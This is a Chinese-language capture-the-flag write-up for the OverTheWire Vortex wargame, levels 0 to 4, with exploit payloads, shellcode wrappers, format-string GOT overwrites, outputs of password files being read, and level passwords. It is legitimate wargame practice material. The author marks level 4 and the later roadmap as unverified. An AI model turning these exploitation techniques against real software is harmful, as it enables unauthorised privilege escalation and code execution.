OverTheWire - Vortex
vortex
vortex.labs.overthewire.org 2228
Vortex 是 OverTheWire 里偏 network programming / binary exploitation
的 wargame。和 Bandit 不同,level 0 不是 SSH 登录,而是一个 TCP
service;先解出 vortex1 密码后,后续才通过 SSH 进入
vortex.labs.overthewire.org:2228。
1 | SSH Information |
level 0 → level 1
目标 service 在
vortex.labs.overthewire.org:5842。连接后它会发送 4 个
32-bit unsigned integer,机器是 x86 little-endian,所以按
<IIII 解包。把四个数相加后截断到 32 bit,再按
little-endian 发回去,就能拿到 vortex1 的 SSH
登录信息。
1 | from pwn import * |
本次 live verify 输出:
1 | Username: vortex1 Password: Gq#qu3bF3 |
level 1 → level 2
/vortex/vortex1 使用 backslash
操控写指针。反汇编关键逻辑:
1 | ; 初始化 |
核心思路: 发送 261 个反斜杠把 ptr 退到 ptr
变量本身的最高字节 (buffer-5 = var_ptr+3),然后写入 0xca
覆盖 ptr 的高位字节,使下一次循环的 0xca 检查命中。
1 | ptr = buffer+256 |
验证结果: buffer-5 偏移经 probe 确认 (发送 N 个反斜杠 +
'Z' + '',在 N=255 时 Z 出现在 buffer dump 第 2 位, N=256 时第 1 位,
N=257 时消失,说明 buffer+256-257=buffer-1 是 buffer 起点前 1
字节,buffer+256-261=buffer-5 是 ptr_var 最高字节)。
1 | # 一次性 payload (在 vortex 服务器上运行): |
或 Python 方式:
1 | import subprocess |
Live 验证输出: 1
2
3
4$ id
uid=5002(vortex2) gid=5001(vortex1) groups=5001(vortex1)
$ cat /etc/vortex_pass/vortex2
WyEmn5wiX
关键坑:
getchar()使用 buffered I/O,C 库会在第一次调用时把整个 pipe 读入内部缓冲区。execlp("/bin/sh")后 shell 继承的 stdin pipe 已经空了。解决:用os.openpty()创建 PTY,通过 master fd 发送 payload。
1 | import os, time |
level 2 → level 3
/vortex/vortex2 调用
execv("/bin/tar", {"/bin/tar","cf","/tmp/ownership.$$.tar", argv[1], argv[2], argv[3]})
但 args 数组缺少 NULL 终结符。现代 GCC (13.3) 的栈 canary 在 args
后立即放置,导致 execv 返回 EFAULT。
解决:只传 1 个参数。此时 argv[2] =
NULL sentinel,execv 停在 args[3] 不会触及 canary。
1 | /vortex/vortex2 /etc/vortex_pass/vortex3 |
Live 验证: 1
2$ tar xOf '/tmp/ownership.$$.tar'
YAVzRBMI4
level 3 → level 4
/vortex/vortex3 使用 strcpy(buf, argv[1])
溢出。关键结构:
buf@ebp-0x90(144 字节)lpp(写指针) @ebp-0xc- 溢出距离: 132 字节
利用 0x0804b10c (.dynamic 中存
.fini_array 地址) 覆盖 lpp,使双重解引用将
&buf 写入
.fini_array[0]。exit(0) 触发
dl_fini → 跳转 buf 执行 shellcode。
坑:setresuid (syscall 164) 在 64-bit
内核 32-bit 兼容层下静默失败,只能用 setreuid (syscall
70)。
Payload (C wrapper,避免 Python UTF-8
编码破坏二进制字节): 1
2
3
4
5
6
7
8// shellcode: setreuid(geteuid(),geteuid()) + execve("/bin//sh")
unsigned char payload[140];
memset(payload, 0x90, 132);
memcpy(payload, shellcode, sizeof(shellcode)-1);
payload[132]=0x0c; payload[133]=0xb1; // pivot: 0x0804b10c
payload[134]=0x04; payload[135]=0x08;
char *args[] = {"/vortex/vortex3", (char*)payload, NULL};
execv("/vortex/vortex3", args);
Live 验证: 1
2
3$ echo "id\ncat /etc/vortex_pass/vortex4\nexit" | ./wrapper
uid=5004(vortex4) gid=5003(vortex3) groups=5003(vortex3)
v9kEqvkkq
level 4 → level 5
/vortex/vortex4 format string 漏洞。argc==0
或 argc==1 && argv[0][0]=='\0' 时
printf(*(argv[0]+12))。不是
printf(argv[3]),而是读 argv[0] 字符串偏移 12 的 4
字节作为指针。
通过 execve 控制环境变量,使 *(argv[0]+12)
指向 env[1](即 format string 自身)。栈可执行 (GNU_STACK
RWE),ASLR=0,libc base 0xf7d82000。
2026-06-11 session 实锤: - env[1] 是
format string(通过 marker 测试确认) - %hn 写入到
exit@GOT 确认生效(写入 0x000b → SIGSEGV,写入
0x0804 → SIGSEGV) - 单写 (%118$hn) 和双写
(%118$hn + %119$hn) 都验证通过 - 3 字节
padding 保证 GOT 地址 4 字节对齐在 positions 118/119
关键地址:exit@GOT = 0x0804c008,printf@GOT = 0x0804c004
shellcode 地址问题:GDB 跟踪 setuid binary 不给力(GDB 会改变 execve 环境导致 stack layout 漂移)。计算表明 env[0] 在 format string 下方 ~460 字节处,但精确地址需进一步定位。
现状: - 格式字符串写入框架完全验证通过 - 双写
%118$hn + %119$hn 可将任意地址写入
exit@GOT - 尝试写 0x08049176 (main) → re-entry
后 SIGSEGV(stack 状态不同) - shellcode 地址未确定,需用 GDB 在非
setuid 副本上精确定位 - 备选方案:ret2libc(写 system@libc
到 exit@GOT)+ 覆盖 exit 参数为 /bin/sh
地址
未解决:需要确定环境变量数据在 vortex4 栈上的确切位置。格式字符串框架已验证,仅代码执行目标地址待定。
level 5+ (路线图)
后续 level 需要拿到 vortex5 后继续 live verify。旧
writeup 的地址和密码不可信,不能直接写入。
公开资料路线图如下,发布前都必须在 live binary 上复核:
level 5 → 6:源码里有固定 MD5,搜索空间是[a-zA-Z0-9]长度 5;用hashlib.md5暴力 preimage 后输入程序拿 shell。level 6 → 7:构造 wrapper 调execve('/vortex/vortex6', ['/bin/sh'], ['X=1']),利用程序对argv[0]/ env 的处理保留 euid shell。level 7 → 8:参数 CRC32 必须匹配固定值,同时有栈溢出;先构造 overflow,再用 CRC forge 追加 4 字节补丁。level 8+:公开题面只够做方向判断,必须登录后按file/r2/strace/ltrace/gdb逐关复核。
当前发布状态:draft / level 0-3 live-verified, level 4 format string write confirmed (shellcode execution blocked)。